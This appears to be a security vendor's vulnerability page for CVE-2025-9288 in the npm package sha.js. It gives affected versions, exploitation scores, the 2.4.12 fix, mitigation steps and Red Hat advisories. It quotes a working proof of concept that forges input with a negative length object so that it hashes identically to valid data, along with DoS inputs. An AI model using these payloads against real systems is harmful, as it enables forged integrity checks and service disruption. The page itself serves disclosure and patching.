NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2025-9288 — sha.js

Fix: browserify/sha.js#78

CVE-2025-9288 is a Improper Input Validation vulnerability in sha.js. A fix is available for sha.js — see the affected versions and patch details below.

Missing type checks leading to hash rewind and passing on crafted data

Also known asGHSA-95m3-7q98-8xr5
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 3, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-9288.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs55th percentile — riskier than 55% of all scored CVEsHighest risk
0.00%0.41%0.83%1.24%0.0%0.7%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
sha.jsnpm
28.4Mdownloads / week

Description

Summary

This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.

Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC

const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = sha('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

Output:

638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe

Or just:

> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Impact

  1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
  2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js)
  3. DoS on {length:'1e99'}
  4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmsha.jsall versions2.4.12npm install sha.js@2.4.12

Affected Products

1 product · 1 configurations
Application
sha.jsbrowserify
≤ 2.4.11
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sha.js, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update sha.js to 2.4.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-9288 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This vulnerability was marked as Important rather then Critical because while the lack of input type checks in sha.js allows for hash state rewinding, crafted collisions, and potential denial of service, the vulnerability requires highly specific crafted input objects that are unlikely to occur in typical real-world…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
Source: Red Hat security advisory for CVE-2025-9288 (CC BY 4.0)
ProductFixed inAdvisory
multicluster engine for Kubernetes 2.7 for RHEL 8multicluster-engine-assisted-service-8-container-v2.7.6-2RHSA-2025:18278
Red Hat Advanced Cluster Management for Kubernetes 2.12 for RHEL 9acm-cli-container-v2.12.5-4RHSA-2025:18744
multicluster engine for Kubernetes 2.6multicluster-engine/console-mce-rhel9:v2.6RHSA-2025:23528
multicluster engine for Kubernetes 2.8multicluster-engine/console-mce-rhel9:1765829333RHSA-2026:0722
multicluster engine for Kubernetes 2.9multicluster-engine/console-mce-rhel9:v2.9RHSA-2025:19332
Red Hat Advanced Cluster Management for Kubernetes 2.11rhacm2/console-rhel9:v2.11RHSA-2025:23529
Red Hat Advanced Cluster Management for Kubernetes 2.11rhacm2/acm-grafana-rhel9:1783578847RHSA-2026:41064
Red Hat Advanced Cluster Management for Kubernetes 2.13rhacm2/console-rhel9:1768001980RHSA-2026:0627

Frequently Asked Questions

### Summary This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation. Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]]) const sha =
O3 Security · Impact-Aware SCA

Is CVE-2025-9288 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2025-9288: sha.js DoS — Fixed in 2.4.12